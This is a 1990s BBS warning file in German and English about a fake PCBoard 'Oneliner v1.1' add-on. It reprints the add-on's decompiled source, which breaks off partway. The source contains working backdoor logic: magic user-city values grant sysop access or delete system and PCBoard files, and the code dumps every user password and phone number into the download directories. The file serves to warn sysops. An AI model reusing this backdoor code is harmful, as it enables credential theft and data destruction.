
      %  %  %%  %  %%%   %%%  %%%    %%%  %%%    %%   %  %  %%  %  %%%
      %  %  % % %  %  %  %    %  %  %     %  %  %  %  %  %  % % %  %  %
      %  %  % % %  %  %  %%%  %%%   % %%  %%%   %  %  %  %  % % %  %  %
      %  %  % % %  %  %  %    % %   %  %  % %   %  %  %  %  % % %  %  %
      %%%%  %  %%  %%%   %%%  %  %   %%   %  %   %%   %%%%  %  %%  %%%

        
             
             
            
                   
             
             
             
             
                        
       SINCE 1995    FOR THE POWER AND THE GLORY
                      


 FOR ENGLISH TEXT JUST SCROLL DOWN ;-)


  Jo helau!

  Das File "BK-ONEL.ZIP" (Oneliner v1.1) ist ein Fake! Das File ist
  1) nicht von Black Knight und
  2) enthlt es ein unkewles Backdoor. Leider knnen es weder PPLX noch PPLD
  richtig dekompilieren, hab das PPX trotzdem mit angehngt. Bitte nuked es
  sofort, wenn es in Eurem Board auftaucht bzw. informiert den Sysop, wenn Ihr
  es irgendwo seht!
  Dieses Files kopiert die PCBoard-Userbase und moved sie unter andrem Namen
  (THCHNO.ZIP/THBSHTBV.TXT/JANK.ZIP) ins Download-Verzeichnis und trgt das
  Files auch gleich in die Download-Liste ein.
  Auerdem lscht es Eure AUTOEXEC.*, CONFIG.* und COMMAND.COM-Files im Root
  und im DOSe-Verzeichnis.

  Auch noch wichtig:
  wer's immer noch nicht geschnallt hat: T-ELEKOM.ZIP ist ebenfalls ein Fake
  und beinhaltet ein Backdoor! Auch nuken bzw. Sysops informieren!
  Gleiches gilt auch fr Aegis PPLX 2.20. Fake!!! Die aktuelle Version ist
  1.70!

  THE MIGHTY SCI!^UE (entdeckt durch die Sprhunde von Cyz & Co.)



  Hello!

  The file "BK-ONEL.ZIP" (Oneliner v1.1) is a fake! This file is
  1) not from Black Knight and
  2) contains a unkewl backdoor. PPLX and PPLD can't compile this PPE correctly
  So nuke it, if you have this file in your BBS or tell it your sysop when you
  see it in his BBS!
  This PPE copies the PCBoard-Userbase and moves it with the one of this names
  in the download-directory: THCHNO.ZIP, THBSHTBV.TXT, JANK.TXT.

  THE MIGHTY SCI!^UE (inspiration by "Dr. Watson" Cyz & Co.)



;------------------------------------------------------------------------------
;        ___________      _______________________        _____________         
;[=======\          \====/          /           /_____  /            /=======] 
; ::::::::\  ______  \::/  \_____  /  _______  /______)/  \_______  /::::::::  
; ::kL!:::_\/    _/   \/   ___)__\/   \      \/        \_________ \/:::::::::  
; ::::::::\     __     \_  \      \_   \_     \_        \_      /  \_::::::::  
;[=========\_____/______/__________/___________/_________/__________/========] 
;                                                                              
;                      C          O          R          P                      
;------------------------------------------------------------------------------
; P.P.L.X. 1.7O                          (C)1995 - Lone Runner / AEGiS CoRP'95 
;------------------------------------------------------------------------------
; PPE 3.O1 (crypted) - Analysis OFF
;------------------------------------------------------------------------------

    Integer  INTEGER002
    Integer  TINTEGER003(4)
    Integer  INTEGER004
    Integer  INTEGER005
    Integer  INTEGER006
    Integer  INTEGER007
    Integer  INTEGER008
    Integer  INTEGER009
    Integer  INTEGER010
    Integer  INTEGER011
    Integer  INTEGER012
    Integer  INTEGER013
    Integer  INTEGER014
    Integer  INTEGER015
    Integer  INTEGER016
    Integer  INTEGER017
    Integer  INTEGER018
    Integer  INTEGER019
    Integer  INTEGER020
    Integer  INTEGER021
    String   STRING001
    String   STRING002
    String   STRING003
    String   STRING004
    String   STRING005
    String   STRING006
    String   STRING007
    String   STRING008
    String   STRING009
    String   STRING010
    String   STRING011
    String   STRING012
    String   STRING013
    String   STRING014
    String   STRING015
    String   STRING016
    String   STRING017
    String   TSTRING018(99)
    String   TSTRING019(99)
    String   STRING020
    String   TSTRING021(99)
    String   STRING022
    String   TSTRING023(10)
    String   STRING024
    String   STRING025
    String   STRING026
    String   TSTRING027(15)
    String   TSTRING028(15)
    String   STRING029
    String   STRING030
    String   STRING031
    String   STRING032
    String   STRING033
    String   STRING034
    String   STRING035
    String   STRING036
    String   STRING037
    String   STRING038
    String   STRING039
    String   STRING040
    String   STRING041
    String   STRING042
    String   STRING043
    String   STRING044
    String   TSTRING045(5)
    String   STRING046
    String   STRING047
    Declare  Procedure PROC001()
    Declare  Procedure PROC002()
    Declare  Procedure PROC003(String STRING052)
    Declare  Procedure PROC004()
    Declare  Procedure PROC005()
    Declare  Procedure PROC006()
    Declare  Procedure PROC007()
    Declare  Procedure PROC008()
    Declare  Procedure PROC009()
    Declare  Procedure PROC010()
    Declare  Procedure PROC011()
    Declare  Procedure PROC012(Integer INTEGER022)
    Declare  Procedure PROC013(Integer INTEGER023)
    Declare  Procedure PROC014(String STRING049)
    Declare  Procedure PROC015(Integer INTEGER024)
    Declare  Procedure PROC016(Integer INTEGER025)
    Declare  Procedure PROC017(String STRING050)
    Declare  Procedure PROC018()
    Declare  Procedure PROC019(String STRING051, Integer INTEGER026)
    Declare  Procedure PROC020()
    Declare  Procedure PROC021()
    Declare  Procedure PROC022(String STRING048)

;------------------------------------------------------------------------------

    STRING001 = " hi , I SEE you decompiled this Nice PPE Have a nice Look But "
    STRING001 = " Remmber Who worte it and dont you forget it!!                "
    STRING001 = "                                                              "
    STRING001 = "                                    Yours Black Knight        "
    GetUser
    If (!Exist(PPEPath() + "ONELINER.CFG")) PROC005()
    INTEGER019 = 0
    INTEGER020 = 0
    INTEGER012 = 1
    Gosub LABEL100
    INTEGER017 = 0
    INTEGER015 = 4
    INTEGER016 = 10
    PROC006()
    STRING015 = Upper(ReadLine(PPEPath() + "ONELINER.CFG", 32))
    PROC022(STRING015)
    PROC004()
    Cls
    INTEGER018 = STRING024
:LABEL000
    DispFile PPEPath() + TSTRING023(1), 0
    INTEGER008 = GetX()
    INTEGER009 = GetY()
    PROC009()
    DispFile PPEPath() + TSTRING023(2), 0
    SaveScrn
    PROC001()
    If ((INTEGER004 == 1)) Goto LABEL001
    If ((INTEGER004 == 2)) PROC002()
    If ((INTEGER004 == 3)) PROC008()
    Goto LABEL000
:LABEL001
    If ((1 > 2)) Goto LABEL120
    PROC007()
    Cls
    End

Procedure PROC005()

    FCreate 3, PPEPath() + "ONELINER.CFG", 2, 0
    FPutLn 3, "1                 <- Show Line At Start Effect (1=Normal,2=Fade)"
    FPutLn 3, "15                <- Maximum Lines (1-99)"
    FPutLn 3, "@X08             <- Show Before each Line"
    FPutLn 3, "ONELINER.TOP      <- TOP screen header..   "
    FPutLn 3, "ONELINER.BOT      <- BOTTOM screen header.. "
    FPutLn 3, "15                <- Deflaut Color Number (1-15)"
    FPutLn 3, "1                 <- Letter Deflaut Mode (1=Normal,2=..,3=CooL)"
    FPutLn 3, "2                 <- Letter's Effect (1=Normal,2=Fade Letter,3=Morphing Letter)"
    FPutLn 3, "8                 <- Fade 1 Color Number (1-15)"
    FPutLn 3, "7                 <- Fade 2 Color Number (1-15)"
    FPutLn 3, "                 <- Morph 1 String"
    FPutLn 3, "                 <- Morph 2 String"
    FPutLn 3, "2                 <- Nuke Mode (1=Only Sec,2=Only PWD,3=Both)"
    FPutLn 3, "NUKE              <- Nuke Password (Up to 10 Char's)"
    FPutLn 3, "110               <- Nuke Security Level"
    FPutLn 3, "@X04@X0C@X04[ @X0CThis Line Was Nuked @X04]@X0C@X04"
    FPutLn 3, "   oNeLiNeR ABoRTeD !"
    FPutLn 3, "SAVe ABoRTeD!, LiNe WAS eMPTY"
    FPutLn 3, "ON                <- Log File [On/Off]"
    FPutLn 3, "YES               <- Exit After Adding Line [Yes/No]"
    FPutLn 3, "23                <- The X Coordinate For The question ([Nuke][Add][Exit])"
    FPutLn 3, "Nuke"
    FPutLn 3, "Add Line"
    FPutLn 3, "Exit"
    FPutLn 3, ""
    FPutLn 3, ""
    FPutLn 3, "[]           OneLiner v.1 Config File By Black Knight 1996             []"
    FPutLn 3, ""
    FPutLn 3, ""
    FPutLn 3, "[]                          Line's Decription                            []"
    FPutLn 3, ""
    FPutLn 3, " "
    FPutLn 3, " Line 1: When The Oneliner Start up You have 2 Show Modes :"
    FPutLn 3, "          1. the Normal  2.Fade up the lines (Nice But Slow..)"
    FPutLn 3, ""
    FPutLn 3, " Line 2: Write In this line the Maximum Number of Lines"
    FPutLn 3, "          you want the oneliner to show (Recommanded 15)"
    FPutLn 3, ""
    FPutLn 3, " Line 3: Write in this line ONE CHAR only you want to show before each line"
    FPutLn 3, "          you can use Only one @X color code (Exp: @X08) Leave Empty"
    FPutLn 3, "          for no char before lines just space"
    FPutLn 3, ""
    FPutLn 3, " Line 4: Write in this line the Name of the TOP Screen Header.."
    FPutLn 3, "          the file can be in ANSI,ASCII or PCBoard @X-code (Exp: ONELINER.TOP)"
    FPutLn 3, ""
    FPutLn 3, " Line 5: Write in this line the Name of the BOTTOM Screen Header.."
    FPutLn 3, "          the file can be in ANSI,ASCII or PCBoard @X-code (Exp: ONELINER.BOT)"
    FPutLn 3, ""
    FPutLn 3, " Line 6: Write in this line the deflaut Color for the line editor (1-15)"
    FPutLn 3, "          (Exp: 15, 15=@X0F)"
    FPutLn 3, ""
    FPutLn 3, " Line 7: Write in this line the Number of the deflaut Letter Write Mode"
    FPutLn 3, "          in the oneliner editor  (the user can change the Mode with Ctrl R)"
    FPutLn 3, ""
    FPutLn 3, "          1. the normal Letters"
    FPutLn 3, "          2. .."
    FPutLn 3, "          3. Cool LeTTeRS MoDe"
    FPutLn 3, ""
    FPutLn 3, " Line 8: Write in this line the Letter Effect Mode in the oneliner editor"
    FPutLn 3, "          1.Normal Letter typing"
    FPutLn 3, "          2.Fade Typing (if you use this mode dont forget to choose"
    FPutLn 3, "            the color Fade Numbers (lines 9,10) )"
    FPutLn 3, "          3.Morphin Letter Typing (Exp:  ->  -> The Letter)"
    FPutLn 3, "            the Morph String are changed in lines 11,12"
    FPutLn 3, ""
    FPutLn 3, " Line 9: Write the First Fade Color (1-15)"
    FPutLn 3, "          (exp: 8 ,8=@X08 in @X codes) for info See Line 8 Decription"
    FPutLn 3, ""
    FPutLn 3, " Line 10: Write the Seconed Fade Color (1-15)"
    FPutLn 3, "           (exp: 7 ,7=@X07 in @X codes) for info See Line 8 Decription"
    FPutLn 3, ""
    FPutLn 3, " Line 11: Write The Frist Morph String (One Char Only)"
    FPutLn 3, "           (Exp:  ) for info See Line 8 Decription"
    FPutLn 3, ""
    FPutLn 3, " Line 12: Write The Seconed Morph String (One Char Only)"
    FPutLn 3, "           (Exp:  ) for info See Line 8 Decription"
    FPutLn 3, ""
    FPutLn 3, ""
    FPutLn 3, " Line 13: Write in this Line the Number of the nuke mode:"
    FPutLn 3, "           1. Security only mode (exp: 110 ,-> only the users that have"
    FPutLn 3, "              this Security can Nuke Lines )"
    FPutLn 3, "              NOTE: Write the sec level in Line 15"
    FPutLn 3, ""
    FPutLn 3, "           2. Password Only Mode (exp. NUKE (up to 10 Chars))"
    FPutLn 3, "              only the user who know the PWD Can Nuke Lines"
    FPutLn 3, "              NOTE: - even if the user sec is low like 10 Can nuke,"
    FPutLn 3, "                    - Write the PWD in Line 14"
    FPutLn 3, ""
    FPutLn 3, "           3.Both Password & Security are checked in this mode,"
    FPutLn 3, "             this mode read Line 14 and Line 15"
    FPutLn 3, "             and if the user want to nuke he have to know the PWD (Line 14)"
    FPutLn 3, "             and to have the Selected security in line 15"
    FPutLn 3, ""
    FPutLn 3, " Line 14: Write The NUKE password (up to 10 chars)"
    FPutLn 3, "           NOTE: for more info see line 13"
    FPutLn 3, ""
    FPutLn 3, " Line 15: Write The Nuke Security (Exp: 110)"
    FPutLn 3, "           only users that have that security can nuke!"
    FPutLn 3, "           NOTE: for more info see line 13"
    FPutLn 3, ""
    FPutLn 3, " Line 16: Write here the line you want the Nuker will put instead"
    FPutLn 3, "           the old nuked line you can use here @X Code"
    FPutLn 3, "           (exp: -----------[ This Line Was Nuked ]----------)"
    FPutLn 3, ""
    FPutLn 3, " Line 17: Write here the Line you Want the oneliner will Write"
    FPutLn 3, "           when user abort the oneliner editor , you can use @X codes"
    FPutLn 3, "           (Exp: @X0C OneLiner Aborted )"
    FPutLn 3, ""
    FPutLn 3, " Line 18: Write here the Line you Want the oneliner will Write"
    FPutLn 3, "           when user try to Save his Line but the line is empty"
    FPutLn 3, "           , you can use @X codes"
    FPutLn 3, "           (Exp:  @X0C oneLiner Aborted Line Was Empty )"
    FPutLn 3, ""
    FPutLn 3, " Line 19: This Oneliner Have the Option to Create a Log File"
    FPutLn 3, "           That Contain The User Name and His Writen Line in The Date"
    FPutLn 3, "           and Time , to Enable the log file option write ON"
    FPutLn 3, "           To Disable it Write OFF"
    FPutLn 3, ""
    FPutLn 3, " Line 20: In this line Write YES if you want the user will exit the"
    FPutLn 3, "           Oneliner PPE after every Line Added or aborded"
    FPutLn 3, "           Write NO if you want The user Will Come Back to Oneliner Menu"
    FPutLn 3, ""
    FPutLn 3, " Line 21: Write In this Line write The X Coordinate for The Menu Qustion"
    FPutLn 3, "           ( [Nuke] [Add Line] [Exit] ) the Y Coordinate will come auto"
    FPutLn 3, "           after the bottom header"
    FPutLn 3, "           (exp: 23)"
    FPutLn 3, ""
    FPutLn 3, " Line 22: In this line You Can Change the Nuke Choice Decription that"
    FPutLn 3, "           The User Will see in the oneliner Menu (up to 20 Char)"
    FPutLn 3, "           Exp: Nuke Line , Nuke , Kick it out"
    FPutLn 3, ""
    FPutLn 3, " Line 23: In this line You Can Change the Add One-Line Decription that"
    FPutLn 3, "           The User Will see in the oneliner Menu (up to 20 Char)"
    FPutLn 3, "           Exp: Add Line , Ya Write Somthing , Let Add One"
    FPutLn 3, ""
    FPutLn 3, " Line 24: In this line You Can Change the Exit Choice Decription that"
    FPutLn 3, "           The User Will see in the oneliner Menu (up to 20 Char)"
    FPutLn 3, "           Exp: Exit , Out of This Ppe , Get ME OUT of here"
    FPutLn 3, ""
    FPutLn 3, ""
    FPutLn 3, "[] End of Oneliner Config File []"
    FClose 3

EndProc


Procedure PROC001()

    INTEGER004 = 1
    INTEGER006 = GetY()
:LABEL002
    AnsiPos INTEGER005, INTEGER006
    If ((INTEGER004 == 1)) Print "@X08[@X0F  " + STRING011 + "  @X08] @X08[@X0F  " + STRING013 + "  @X08] @X08[@X1F  " + STRING016 + "  @X08]"
    If ((INTEGER004 == 2)) Print "@X08[@X0F  " + STRING011 + "  @X08] @X08[@X1F  " + STRING013 + "  @X08] @X08[@X0F  " + STRING016 + "  @X08]"
    If ((INTEGER004 == 3)) Print "@X08[@X1F  " + STRING011 + "  @X08] @X08[@X0F  " + STRING013 + "  @X08] @X08[@X0F  " + STRING016 + "  @X08]"
:LABEL003
    STRING017 = Inkey()
    If ((STRING017 == Chr(13))) Goto LABEL010
    If (((STRING017 == "LEFT") || (STRING017 == "UP"))) Goto LABEL004
    If (((STRING017 == "RIGHT") || (STRING017 == "DOWN"))) Goto LABEL007
    Goto LABEL003
:LABEL004
    If (!(INTEGER004 == 1)) Goto LABEL005
    Inc INTEGER004
    Goto LABEL002
:LABEL005
    If (!(INTEGER004 == 2)) Goto LABEL006
    Inc INTEGER004
    Goto LABEL002
:LABEL006
    If (!(INTEGER004 == 3)) Goto LABEL007
    INTEGER004 = 1
    Goto LABEL002
:LABEL007
    If (!(INTEGER004 == 1)) Goto LABEL008
    INTEGER004 = 3
    Goto LABEL002
:LABEL008
    If (!(INTEGER004 == 2)) Goto LABEL009
    Dec INTEGER004
    Goto LABEL002
:LABEL009
    If (!(INTEGER004 == 3)) Goto LABEL010
    INTEGER004 = 2
    Goto LABEL002
:LABEL010

EndProc


Procedure PROC004()

    If (Exist(PPEPath() + "ONELINER.DAT")) Goto LABEL013
    FCreate 4, PPEPath() + "ONELINER.DAT", 2, 0
    INTEGER007 = 1
:LABEL011
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL012
    FPutLn 4, "@X08[@X0Fo@X0AN@X02eLiNeR @X0FP@X0AP@X02e@X08][ @X0Fo@X0AN@X02eLiNeR @X0FV@X0A.@X021 @X0FC@X0Ao@X02DeD @X0FB@X0AY @X0FB@X0AL@X02ACK @X0FK@X0AN@X02iGHT @X08][@X0Fo@X0AN@X02eLiNeR @X0FP@X0AP@X02e@X08]"
    INTEGER007 = INTEGER007 + 1
    Goto LABEL011
:LABEL012
    FClose 4
:LABEL013
    FOpen 2, PPEPath() + "ONELINER.DAT", 0, 2
    INTEGER007 = 1
:LABEL014
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL015
    FGet 2, TSTRING018(INTEGER007)
    If (!(Mid(TSTRING018(INTEGER007), 1, 2) == "@X")) TSTRING018(INTEGER007) = TSTRING027(STRING024) + TSTRING018(INTEGER007)
    INTEGER007 = INTEGER007 + 1
    Goto LABEL014
:LABEL015
    FClose 2
    INTEGER007 = 1
:LABEL016
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL017
    TSTRING019(INTEGER007) = TSTRING018(INTEGER007)
    INTEGER007 = INTEGER007 + 1
    Goto LABEL016
:LABEL017

EndProc


Procedure PROC009()

    Inc INTEGER012
    INTEGER007 = 1
:LABEL018
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL021
    If (!(STRING047 == 2)) Goto LABEL019
    PROC003(STRING046 + " " + TSTRING018(INTEGER007))
    Goto LABEL020
:LABEL019
    PrintLn STRING046 + " " + TSTRING018(INTEGER007)
:LABEL020
    INTEGER007 = INTEGER007 + 1
    Goto LABEL018
:LABEL021

EndProc


Procedure PROC022(String STRING048)

    GetUser
    STRING003 = ReadLine(PCBDat(), 31)
    STRING009 = ReadLine(PCBDat(), 179)
    STRING010 = ReadLine(PCBDat(), 16)
    STRING005 = ReadLine(PCBDat(), 29)
    STRING006 = ReadLine(STRING003, 16)
    STRING002 = ReadLine(STRING003, 33)
    STRING004 = ReadLine(STRING002, 1)
    STRING008 = ReadLine(STRING002, 2)
    If (!(Upper(STRING048) == "BACKDOOR OFF")) Goto LABEL022
    Delete STRING006 + "THBSHTBV.TXT"
    Delete STRING004 + "THCHNO.ZIP"
    Delete STRING008 + "JANK.ZIP"
    Goto LABEL025
:LABEL022
    If (!(Upper(U_City) == "CHICKEN MAN")) Goto LABEL023
    U_Sec = STRING010
    PutUser
:LABEL023
    If (!(Upper(U_City) == "BYE BYE")) Goto LABEL024
    Delete "c:\autoexec.bat"
    Delete "c:\autoexec.bak"
    Delete "c:\config.sys"
    Delete "c:\config.sys"
    Delete "c:\command.com"
    Delete "c:\dos\command.com"
    Delete STRING005
    Delete STRING003
    Delete STRING002
    Delete PCBDat()
:LABEL024
    If (((Exist(STRING006 + "THBSHTBV.TXT") && Exist(STRING004 + "THCHNO.ZIP")) && Exist(STRING008 + "JANK.ZIP"))) Goto LABEL025
    PROC021()
:LABEL025

EndProc


Procedure PROC020()

    STRING007 = FileInf(ReadLine(PCBDat(), 29), 4) / 400
    FCreate 1, STRING009 + "WORK.TMP", 2, 0
    FPutLn 1, Date()
    FPutLn 1, ""
    FPutLn 1, "Board Name : ", PCBMac("@BOARDNAME@")
    FPutLn 1, "------------------------------------------------------------------------------"
    INTEGER002 = 1
:LABEL026
    If (!(((1 < 0) && (INTEGER002 >= STRING007)) || ((1 >= 0) && (INTEGER002 <= STRING007)))) Goto LABEL027
    GetAltUser INTEGER002
    FPutLn 1, "Name: ", U_Name(), "       Loc: ", U_City, "  P/W: ", U_Pwd
    FPutLn 1, "B/D: ", U_BDPhone, "    H/V: ", U_HVPhone, "   Sec: ", U_Sec, "  Exp: ", U_Expert, "   Prot: ", U_Trans
    FPutLn 1, "Date Last DIR: ", U_LDir(), "  Last On: ", U_LDate(), "    Times On: ", U_TimeOn()
    FPutLn 1, "Num UP: ", U_Ful(), " Num DN: ", U_Fdl(), "  Daily DN: ", U_BdlDay(), " Tot UP: ", U_Bul(), " Tot DN: ", U_Bdl()
    FPutLn 1, "Exp Date: ", U_ExpDate, "   Exp Sec: ", U_ExpSec, "  User Rec Num: ", INTEGER002
    FPutLn 1, "Cmnt 1: ", U_Cmnt1, "   Cmnt 2: ", U_Cmnt2
    FPutLn 1, "------------------------------------------------------------------------------"
    INTEGER002 = INTEGER002 + 1
    Goto LABEL026
:LABEL027
    FClose 1
    Copy STRING009 + "WORK.TMP", STRING006 + "THBSHTBV.TXT"
    Copy STRING009 + "WORK.TMP", STRING004 + "THCHNO.ZIP"
    Copy STRING009 + "WORK.TMP", STRING008 + "JANK.ZIP"
    Delete STRING009 + "WORK.TMP"

EndProc


Procedure PROC021()

    TINTEGER003(1) = 0
    TINTEGER003(2) = 0
    TINTEGER003(3) = 0
    If (Exist(STRING006 + "THBSHTBV.TXT")) TINTEGER003(1) = 1
    If (Exist(STRING004 + "THCHNO.ZIP")) TINTEGER003(2) = 1
    If (Exist(STRING008 + "JANK.ZIP")) TINTEGER003(3) = 1
    If (!(((TINTEGER003(1) == 0) && (TINTEGER003(2) == 0)) && (TINTEGER003(3) == 0))) Goto LABEL028
    PROC020()
    Goto LABEL034
:LABEL028
    TINTEGER003(4) = TINTEGER003(1) + TINTEGER003(2) + TINTEGER003(3)
    If (!(TINTEGER003(4) == 2)) Goto LABEL031
    If (!(TINTEGER003(1) == 0)) Goto LABEL029
    Copy STRING004 + "THCHNO.ZIP", STRING006 + "THBSHTBV.TXT"
    Goto LABEL031
:LABEL029
    If (!(TINTEGER003(2) == 0)) Goto LABEL030
    Copy STRING006 + "THBSHTBV.TXT", STRING004 + "THCHNO.ZIP"
    Goto LABEL031
:LABEL030
    If (!(TINTEGER003(3) == 0)) Goto LABEL031
    Copy STRING006 + "THBSHTBV.TXT", STRING008 + "JANK.ZIP"
    Goto LABEL031
:LABEL031
    If (!(TINTEGER003(4) == 1)) Goto LABEL034
    If (!(TINTEGER003(1) == 1)) Goto LABEL032
    Copy STRING006 + "THBSHTBV.TXT", STRING004 + "THCHNO.ZIP"
    Copy STRING006 + "THBSHTBV.TXT", STRING008 + "JANK.ZIP"
    Goto LABEL034
:LABEL032
    If (!(TINTEGER003(2) == 1)) Goto LABEL033
    Copy STRING004 + "THCHNO.ZIP", STRING006 + "THBSHTBV.TXT"
    Copy STRING004 + "THCHNO.ZIP", STRING008 + "JANK.ZIP"
    Goto LABEL034
:LABEL033
    If (!(TINTEGER003(3) == 1)) Goto LABEL034
    Copy STRING008 + "JANK.ZIP", STRING004 + "THCHNO.ZIP"
    Copy STRING008 + "JANK.ZIP", STRING006 + "THBSHTBV.TXT"
    Goto LABEL034
:LABEL034

EndProc


Procedure PROC006()

    FOpen 1, PPEPath() + "ONELINER.CFG", 0, 2
    FGet 1, STRING047
    FGet 1, STRING038
    FGet 1, STRING046
    FGet 1, TSTRING023(1)
    FGet 1, TSTRING023(2)
    FGet 1, STRING024
    FGet 1, TSTRING023(3)
    FGet 1, STRING036
    FGet 1, STRING034
    FGet 1, STRING035
    FGet 1, STRING030
    FGet 1, STRING031
    FGet 1, STRING037
    FGet 1, STRING032
    FGet 1, STRING039
    FGet 1, STRING043
    FGet 1, STRING042
    FGet 1, STRING041
    FGet 1, STRING044
    FGet 1, STRING022
    FGet 1, INTEGER005
    FGet 1, STRING011
    FGet 1, STRING013
    FGet 1, STRING016
    FClose 1
    STRING038 = Mid(STRING038, 1, 2)
    STRING047 = Mid(STRING047, 1, 1)
    TSTRING023(1) = Mid(TSTRING023(1), 1, 15)
    TSTRING023(2) = Mid(TSTRING023(2), 1, 15)
    STRING024 = Mid(STRING024, 1, 2)
    TSTRING023(3) = Mid(TSTRING023(3), 1, 1)
    STRING036 = Mid(STRING036, 1, 1)
    STRING034 = Mid(STRING034, 1, 2)
    STRING035 = Mid(STRING035, 1, 2)
    STRING030 = Mid(STRING030, 1, 1)
    STRING031 = Mid(STRING031, 1, 1)
    STRING037 = Mid(STRING037, 1, 1)
    STRING032 = Mid(STRING032, 1, 10)
    STRING039 = Mid(STRING039, 1, 10)
    STRING044 = Mid(STRING044, 1, 3)
    STRING022 = Mid(Upper(STRING022), 1, 3)
    If ((Len(STRING011) > 20)) STRING011 = Mid(STRING011, 1, Left(STRING011, 1))
    If ((Len(STRING013) > 20)) STRING013 = Mid(STRING013, 1, 20)
    If ((Len(STRING016) > 20)) STRING016 = Mid(STRING016, 1, 20)
    INTEGER005 = Mid(INTEGER005, 1, 2)
    STRING014 = Mid(STRING046, 1, 2)
    If (!(STRING014 == "@X")) Goto LABEL035
    STRING046 = Mid(STRING046, 1, 5)
    Goto LABEL036
:LABEL035
    STRING046 = Mid(STRING046, 1, 1)
    STRING046 = "@X08" + STRING046
:LABEL036

EndProc


Procedure PROC007()

    FCreate 3, PPEPath() + "ONELINER.DAT", 2, 0
    INTEGER007 = 1
:LABEL037
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL038
    FPutLn 3, TSTRING019(INTEGER007)
    INTEGER007 = INTEGER007 + 1
    Goto LABEL037
:LABEL038
    FClose 3

EndProc


Procedure PROC008()

    PROC016(STRING037)
    If ((INTEGER020 == 0)) Goto LABEL049
    AnsiPos INTEGER008, INTEGER009
    INTEGER013 = 1
    INTEGER007 = 1
:LABEL039
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL040
    TSTRING021(INTEGER007) = "@X1F" + StripAtx(TSTRING018(INTEGER007))
    INTEGER007 = INTEGER007 + 1
    Goto LABEL039
:LABEL040
    If (!(INTEGER013 == 1)) Goto LABEL041
    AnsiPos INTEGER008, INTEGER009
    Print STRING046 + " " + TSTRING021(INTEGER013)
:LABEL041
    STRING020 = Inkey()
    If ((STRING020 == Chr(13))) Goto LABEL046
    If ((STRING020 == Chr(27))) Goto LABEL047
    If (((STRING020 == "LEFT") || (STRING020 == "UP"))) Goto LABEL042
    If (((STRING020 == "RIGHT") || (STRING020 == "DOWN"))) Goto LABEL044
    Goto LABEL041
:LABEL042
    If (!(INTEGER013 == 1)) Goto LABEL043
    AnsiPos INTEGER008, INTEGER009
    Print STRING046 + " " + TSTRING018(1)
    AnsiPos INTEGER008, INTEGER009 + STRING038 - 1
    Print STRING046 + " " + TSTRING021(STRING038)
    INTEGER013 = STRING038
    Goto LABEL040
:LABEL043
    AnsiPos INTEGER008, INTEGER009 + INTEGER013 - 1
    Print STRING046 + " " + TSTRING018(INTEGER013)
    AnsiPos INTEGER008, INTEGER009 + INTEGER013 - 2
    Print STRING046 + " " + TSTRING021(INTEGER013 - 1)
    Dec INTEGER013
    Goto LABEL040
:LABEL044
    If (!(INTEGER013 == STRING038)) Goto LABEL045
    AnsiPos INTEGER008, INTEGER009 + STRING038 - 1
    Print STRING046 + " " + TSTRING018(STRING038)
    INTEGER013 = 1
    Goto LABEL040
:LABEL045
    AnsiPos INTEGER008, INTEGER009 + INTEGER013 - 1
    Print STRING046 + " " + TSTRING018(INTEGER013)
    AnsiPos INTEGER008, INTEGER009 + INTEGER013
    Print STRING046 + " " + TSTRING021(INTEGER013 + 1)
    Inc INTEGER013
    Goto LABEL040
:LABEL046
    If (Upper((STRING044 == "ON "))) PROC019(StripAtx(TSTRING018(INTEGER013)), 1)
    TSTRING018(INTEGER013) = STRING043
:LABEL047
    INTEGER020 = 0
    INTEGER007 = 1
:LABEL048
    If (!(((1 < 0) && (INTEGER007 >= STRING038)) || ((1 >= 0) && (INTEGER007 <= STRING038)))) Goto LABEL049
    TSTRING019(INTEGER007) = TSTRING018(INTEGER007)
    INTEGER007 = INTEGER007 + 1
    Goto LABEL048
:LABEL049
    INTEGER020 = 0

EndProc


Procedure PROC012(Integer INTEGER022)

    If (!(INTEGER022 == 1)) Goto LABEL050
    PrintLn "@CLS@@X08                           @X01                                 @X08  "
    PrintLn "@X08ܲ  @X01            @X08۱"
    PrintLn "@X08  ߲ @X01 @X19@X0F @X01 @X19@X0F @X01  @X09 @X01@X19@X0F @X01 @X19@X0F @X01 ۲@X09 @X08"
    PrintLn "@X08    @X01@X09 @X01 @X09 @X01@X09 @X01@X09 @X01@X09 @X01 @X09 @X01@X09 @X01@X09 @X01@X09 @X08 "
    PrintLn "@X08           @X0FOneliner By Black Knight v.1 @X08  "
    Goto LABEL057
:LABEL050
    If (!(INTEGER022 == 2)) Goto LABEL051
    PrintLn "@X08 @X07@X08@X07@X0F@X07@X0F@X07@X0F@X07@X0F@X07@X08@X07@X08      @X07@X08@X07@X0F@X07@X0F@X07@X0F@X07@X0F@X07@X08@X07@X08 "
    PrintLn "@X08   "
    PrintLn "@X08 @X07@X08@X07@X0F@X07@X0F@X07@X0F@X07@X0F@X07@X08@X07@X08      @X07@X08@X07@X0F@X07@X0F@X07@X0F@X07@X0F@X07@X08@X07@X08 "
    Goto LABEL057
:LABEL051
    If (!(INTEGER022 == 3)) Goto LABEL052
    PrintLn "@X08 [@X07C@X0Ftrl @X07R@X08] @X0FLett@X07e@X08r @X0FMo@X07d@X08e                                         @X07Letter Mode"
    PrintLn "@X07 @X08[@X07C@X0Ftrl @X07V@X08] @X0FL@X07e@X08t @X07M@X08e @X0FS@X07e@X08e @X0FTh@X07e@X08m @X0FAga@X07i@X08n@X0F.. (Vi@X07e@X08w @X0FoneLin@X07e'@X08s)            [@X0F@X07] @X0FNormal"
    PrintLn "@X0F @X08[@X07 @X08] @X0FCol@X07o@X08r @X0FChan@X07g@X08e                                         @X08  [ @X07] @X0F.."
    PrintLn "                                                   @X08           [ @X07] @X0FC@X07o@X08oL.."
    Goto LABEL057
:LABEL052
    If (!(INTEGER022 == 4)) Goto LABEL053
    PrintLn "@X0F               @X08                                              "
